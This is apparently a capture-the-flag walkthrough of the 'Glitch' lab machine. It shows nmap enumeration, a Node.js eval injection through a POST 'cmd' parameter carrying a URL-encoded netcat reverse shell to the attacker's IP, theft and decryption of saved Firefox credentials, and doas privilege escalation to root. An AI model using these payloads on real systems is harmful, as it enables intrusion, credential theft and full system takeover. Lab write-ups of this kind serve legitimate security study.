CTF : GLITCH
Informations
- IP: 10.10.56.225
- MYIP: 10.9.85.5
First enumeration
Basics
- NMAP
consolesudo nmap -p80 -A 10.10.56.225 Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-12 01:07 CEST Nmap scan report for 10.10.56.225 Host is up (0.059s latency). PORT STATE SERVICE VERSION 80/tcp open http nginx 1.14.0 (Ubuntu) |_http-title: not allowed |_http-server-header: nginx/1.14.0 (Ubuntu) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Crestron XPanel control system (90%), ASUS RT-N56U WAP (Linux 3.4) (87%), Linux 3.1 (87%), Linux 3.16 (87%), Linux 3.2 (87%), HP P2000 G3 NAS device (87%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (87%), Adtran 424RG FTTH gateway (86%), Linux 2.6.32 (86%), Linux 2.6.32 - 3.1 (86%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 80/tcp) HOP RTT ADDRESS 1 35.96 ms 10.9.0.1 2 38.20 ms 10.10.56.225 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 17.18 seconds
Vulnerabilities search
If we go to http://10.10.56.225/api/access we got an interesting thing :
console$ curl http://10.10.56.225/api/access {"token":"dGhpc19pc19ub3RfcmVhbA=="} $ echo -ne "dGhpc19pc19ub3RfcmVhbA==" | base64 -d - xxxxxxxxxx
Setting this cookie we got access to another page which calls another script :
js(async function () { const container = document.getElementById('items'); await fetch('/api/items') .then((response) => response.json()) .then((response) => { response.sins.forEach((element) => { let el = `<div class="item sins"><div class="img-wrapper"></div><h3>${element}</h3></div>`; container.insertAdjacentHTML('beforeend', el); }); response.errors.forEach((element) => { let el = `<div class="item errors"><div class="img-wrapper"></div><h3>${element}</h3></div>`; container.insertAdjacentHTML('beforeend', el); }); response.deaths.forEach((element) => { let el = `<div class="item deaths"><div class="img-wrapper"></div><h3>${element}</h3></div>`; container.insertAdjacentHTML('beforeend', el); }); }); const buttons = document.querySelectorAll('.btn'); const items = document.querySelectorAll('.item'); buttons.forEach((button) => { button.addEventListener('click', (event) => { event.preventDefault(); const filter = event.target.innerText; items.forEach((item) => { if (filter === 'all') { item.style.display = 'flex'; } else { if (item.classList.contains(filter)) { item.style.display = 'flex'; } else { item.style.display = 'none'; } } }); }); }); })();
This script fetches /api/items :
console$ curl --cookie "token=this_is_not_real" -X GET http://10.10.56.225/api/items {"sins":["lust","gluttony","greed","sloth","wrath","envy","pride"],"errors":["error","error","error","error","error","error","error","error","error"],"deaths":["death"]}
But if we use the post method...
console$ curl --cookie "token=this_is_not_real" -X POST http://10.10.56.225/api/items {"message":"there_is_a_glitch_in_the_matrix"}
So maybe we could find a parameter that do something...
console$ curl --cookie "token=this_is_not_real" -X POST http://10.10.56.225/api/items?cmd=id <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <title>Error</title> </head> <body> <pre>ReferenceError: id is not defined<br> at eval (eval at router.post (/var/web/routes/api.js:25:60), <anonymous>:1:1)<br> at router.post (/var/web/routes/api.js:25:60)<br> at Layer.handle [as handle_request] (/var/web/node_modules/express/lib/router/layer.js:95:5)<br> at next (/var/web/node_modules/express/lib/router/route.js:137:13)<br> at Route.dispatch (/var/web/node_modules/express/lib/router/route.js:112:3)<br> at Layer.handle [as handle_request] (/var/web/node_modules/express/lib/router/layer.js:95:5)<br> at /var/web/node_modules/express/lib/router/index.js:281:22<br> at Function.process_params (/var/web/node_modules/express/lib/router/index.js:335:12)<br> at next (/var/web/node_modules/express/lib/router/index.js:275:10)<br> at Function.handle (/var/web/node_modules/express/lib/router/index.js:174:3)</pre> </body> </html>
It seems that the value of our parameter is sent to eval function in router.post...
I found something interesting here : https://medium.com/@sebnemK/node-js-rce-and-a-simple-reverse-shell-ctf-1b2de51c1a44
Exploit
So we need to send this command :
shellrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.9.85.5 1234 > /tmp/f
After applying to it an url encoding :
console$ curl --cookie "token=this_is_not_real" -X POST "http://10.10.56.225/api/items?cmd=require(\"child_process\").exec('%72%6d%20%2f%74%6d%70%2f%66%3b%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%66%3b%63%61%74%20%2f%74%6d%70%2f%66%7c%2f%62%69%6e%2f%73%68%20%2d%69%20%32%3e%26%31%7c%6e%63%20%31%30%2e%39%2e%38%35%2e%35%20%31%32%33%34%20%3e%20%2f%74%6d%70%2f%66')"
console$ pwncat -lp 1234
console$ id uid=1000(user) gid=1000(user) groups=1000(user),30(dip),46(plugdev)
:)
Privilege escalation
Enumeration for privesc
console$ ls -al total 48 drwxr-xr-x 8 user user 4096 Jan 27 2021 . drwxr-xr-x 4 root root 4096 Jan 15 2021 .. lrwxrwxrwx 1 root root 9 Jan 21 2021 .bash_history -> /dev/null -rw-r--r-- 1 user user 3771 Apr 4 2018 .bashrc drwx------ 2 user user 4096 Jan 4 2021 .cache drwxrwxrwx 4 user user 4096 Jan 27 2021 .firefox drwx------ 3 user user 4096 Jan 4 2021 .gnupg drwxr-xr-x 270 user user 12288 Jan 4 2021 .npm drwxrwxr-x 5 user user 4096 Jul 11 23:01 .pm2 drwx------ 2 user user 4096 Jan 21 2021 .ssh -rw-rw-r-- 1 user user 22 Jan 4 2021 user.txt
After searching around I finally decided to explore the firefox profile dir.
There was key4.db so I thought there was maybe some creds in it...
I made a tar archive of .firefox dir and downloaded it using pwncat.
Then I cloned a firefox decryption tool repo :
git clone https://github.com/unode/firefox_decrypt.git
And here it is
console$ python3 ../firefox_decrypt/firefox_decrypt.py . Select the Mozilla profile you wish to decrypt 1 -> hknqkrn7.default 2 -> b5w4643p.default-release 2 Website: https://glitch.thm Username: 'v0id' Password: 'xxxxxxxxxx'
Now we can su to v0id
I listed suid binaries and find a local doas installation :
console$ find / -user root -perm -4000 2>/dev/null /bin/ping /bin/mount /bin/fusermount /bin/umount /bin/su /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/eject/dmcrypt-get-device /usr/lib/openssh/ssh-keysign /usr/lib/snapd/snap-confine /usr/lib/policykit-1/polkit-agent-helper-1 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic /usr/bin/passwd /usr/bin/chfn /usr/bin/newuidmap /usr/bin/chsh /usr/bin/traceroute6.iputils /usr/bin/pkexec /usr/bin/newgidmap /usr/bin/newgrp /usr/bin/gpasswd /usr/bin/sudo /usr/local/bin/doas
Exploit
Is v0id present in the doas config ?
console$ /usr/local/bin/doas su - # cat root.txt
Yes he is !
\o/